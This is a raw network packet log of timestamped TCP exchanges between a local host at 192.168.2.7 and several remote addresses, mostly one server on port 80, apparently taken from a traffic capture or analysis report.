Nov 20, 2024 21:06:00.729526997 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.730761051 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.730817080 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.731336117 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.731405973 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.732177973 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.732331991 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.732747078 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.732861042 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.733563900 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.733618975 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.733736038 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.733788013 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.734977007 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.735033035 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.735384941 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.735447884 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.736380100 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.736438036 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.737488031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.737732887 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.737792969 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.737803936 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.737847090 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.739116907 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.739176035 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.739834070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.739906073 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.740546942 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.740606070 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.740736008 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.740797997 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.741925955 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.741981030 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.742331982 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.742387056 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.743382931 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.743439913 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.743581057 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.743634939 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.744750023 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.744817019 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.745168924 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.745229006 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.746123075 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.746180058 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.746359110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.746422052 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.747505903 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.747560978 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.747728109 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.747823954 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.748985052 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.749100924 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.749392033 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.749447107 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.750340939 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.750402927 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.750504017 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.750845909 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.751785040 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.752118111 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.752152920 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.752183914 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.753035069 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.753093004 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.753134012 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.753232956 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.754488945 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.754502058 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.754555941 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.754555941 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.755897045 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.755944014 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.755996943 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.756042004 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.757256031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.757302999 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.757467985 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.757524967 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.758723021 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.758778095 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.758855104 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.758893013 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.760031939 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.760128975 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.760386944 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.760427952 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.761499882 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.761548996 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.761655092 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.761715889 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.762862921 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.762918949 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.762981892 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.763025045 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.764183998 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.764250994 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.764451981 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.764530897 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.765659094 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.765675068 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.765739918 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.765739918 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.766961098 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.767080069 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.767128944 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.768393993 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.768455029 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.768582106 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.768620968 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.769763947 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.769825935 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.769961119 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.770030975 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.770375967 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.770400047 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.770431995 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.770458937 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.770503044 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.770529032 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.770533085 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.770576000 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.771089077 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.771115065 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.771145105 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.771159887 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.771219015 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.771363974 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.771419048 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.772607088 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.772661924 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.772731066 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.772778988 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.773952961 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.773998976 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.774200916 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.774295092 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.775377989 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.775437117 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.775476933 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.775628090 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.776731014 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.776787043 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.776916027 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.776964903 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.778153896 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.778217077 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.778414011 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.778467894 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.779524088 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.779586077 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.779633999 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.779680014 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.780919075 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.781063080 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.781344891 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.781399965 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.782296896 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.782337904 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.782515049 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.782577038 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.783785105 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.783843040 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.784044981 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.784096003 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.786034107 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.786077976 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.786793947 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.786824942 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.786839962 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.786880970 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.786914110 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.787914038 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.787970066 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.788417101 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.788459063 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.789355040 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.789407015 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.789628983 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.789840937 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.790695906 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.790723085 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.790740967 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.790760040 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.792097092 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.792162895 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.792706966 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.792803049 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.793428898 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.793472052 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.793658972 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.793795109 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.794861078 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.794909954 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.794938087 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.794975996 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.796291113 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.796343088 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.796405077 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.796505928 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.796816111 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.796881914 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.796880960 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.797110081 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.797132015 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.797146082 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.797173977 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.797754049 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.797817945 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.797929049 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.797966957 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.798976898 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.799052954 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.810153961 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.810817003 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.810832024 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.810868025 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.810887098 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.810914993 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.828862906 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:06:00.828944921 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:06:00.829380035 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:06:00.853410006 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:06:00.853591919 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:06:00.853694916 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:06:00.878180981 CET	49906	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.878252029 CET	443	49906	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.878364086 CET	49906	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.878635883 CET	49906	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:06:00.878653049 CET	443	49906	40.126.53.18	192.168.2.7
Nov 20, 2024 21:06:00.890924931 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.890945911 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.891122103 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.891161919 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.891201973 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.891254902 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.891366005 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.891386032 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.891396999 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.891402006 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.894619942 CET	49907	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.894665956 CET	443	49907	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.894828081 CET	49907	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.895046949 CET	49907	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.895061970 CET	443	49907	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.895873070 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.896533966 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.896543026 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.898055077 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.898147106 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.898437023 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.898611069 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.898623943 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.898658037 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.898691893 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.898768902 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.919836044 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.920327902 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.920362949 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.920831919 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.920839071 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.927938938 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.928011894 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.928436995 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.928554058 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.928570032 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.928575993 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.928622961 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.929799080 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.929847956 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.929915905 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.929999113 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.930972099 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.931021929 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.931216955 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.931299925 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.932379007 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.932430983 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.932518005 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.932590008 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.933522940 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.933577061 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.933747053 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.933794022 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.934703112 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.934752941 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.936013937 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.936033010 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.936048031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.936077118 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.936126947 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.937174082 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.937259912 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.937630892 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.937680006 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.938503981 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.938559055 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.938730001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.938796043 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.939707041 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.939948082 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.940084934 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.940175056 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.940932989 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.940990925 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.941112995 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.941186905 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.942125082 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.942178011 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.942266941 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.942310095 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.942826986 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.942841053 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.943376064 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.943435907 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.943480968 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.943526983 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.944614887 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.944768906 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.945252895 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.945888042 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.945947886 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.945996046 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.946105003 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.947336912 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.947396040 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.947668076 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.947736979 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.948400021 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.948415995 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.948457956 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.949594021 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.949703932 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.950186968 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.950233936 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.950845003 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.950913906 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.950999975 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.951047897 CET	49899	80	192.168.2.7	185.215.113.16
